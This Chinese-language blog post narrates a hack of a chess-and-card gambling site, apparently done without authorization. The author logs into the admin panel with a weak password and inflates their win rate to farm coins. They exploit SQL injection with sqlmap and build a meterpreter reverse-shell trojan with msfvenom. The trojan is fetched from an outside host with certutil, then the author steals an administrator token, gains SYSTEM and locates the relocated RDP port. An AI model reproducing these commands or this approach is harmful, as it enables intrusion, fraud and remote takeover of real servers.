某棋牌站点注入到提权之路-华盟网

某棋牌站点注入到提权之路

0x01 前言

某棋牌站点注入到提权之路在某某附近人发来送￥的邀请截图，在棋牌捕鱼上面把赠送的金额打光之后、随之来做个渗透测试….通过意见反馈打到后台地址以及cookie过期….之后

0x02 开始渗透

开局一个后台某棋牌站点注入到提权之路界面挺不错的有点高级高级的感觉，咱先来试试弱口令
咦….直接进去了。随后把账户的胜利调到了百分比打了一上午鱼之后，金币高达52w突然感觉好像有点什么不对，，，，咱是来做渗透的不是来捕鱼的吧渗透棋牌不登陆到服务器界面怎么合适呢某棋牌站点注入到提权之路咳咳…继续渗透后台没有上传点配置文件也不知道路径在哪 …有点棘手我们回到登陆框在账户上加个单引号试试看看有没有sqli嗯哼..点登陆没反应抓包sqlmap一把梭
嗯…很强存在延时注入我们继续看看是否dba权限某棋牌站点注入到提权之路 ture看来运气很好啊直接–os-shell权限有点小啊，，，但问题不大掏出我们的msf

msfvenom -p windows/meterpreter/reverse_tcp lhost="外网ip地址" lport="监听端口" -f exe > msf.exe 生成木马

放置外网方便使我们的目标服务器下载先在目标服务器创建一个放置木马的文件夹md c:test我们使用certutil.exe进行下载

certutil.exe -urlcache -split -f “木马下载地址” C:testtest.exe

某棋牌站点注入到提权之路木马下载成功我们回到msf设置使用exploit/multi/handler模块设置payloadshow options 看看需要配置的参数

set LHOST “外网ip” //于木马的ip一致set LPORT "端口" //于木马的监听端口一致

随后 run执行某棋牌站点注入到提权之路紧接着目标服务器运行木马
成功反弹shell
因为我们的权限太小所以我们现在要先进行提权使用use incognito来加载会话令牌模块然后list_tokens -u来列出会话令牌
使用impersonate_token “WIN-IGSV8O3CA7EAdministrator” 盗取 administrator 令牌 getuid查看一下某棋牌站点注入到提权之路
嘿嘿嘿最最最后使用getsystem来获取system权限
咳咳接下来就是shell进入cmd提取命令一把梭接下来就是快快乐乐的登陆远程服务器了美滋滋的~~（然而事情没那么简单~）咦….

内部出现错误咋回事了….难道远程端口被改了吗。。。。某棋牌站点注入到提权之路 nmap出动扫描一下端口没有开放3389 …… 确定以及肯定是改端口了我们回到shell看看执行 tasklist /svc找到svchost.exe进程下termservice服务对应的PID再执行netstat -ano根据PID号查找对应远程端口，远程端口为5566端口某棋牌站点注入到提权之路嘿~这次能完美手工了吧
Very Good~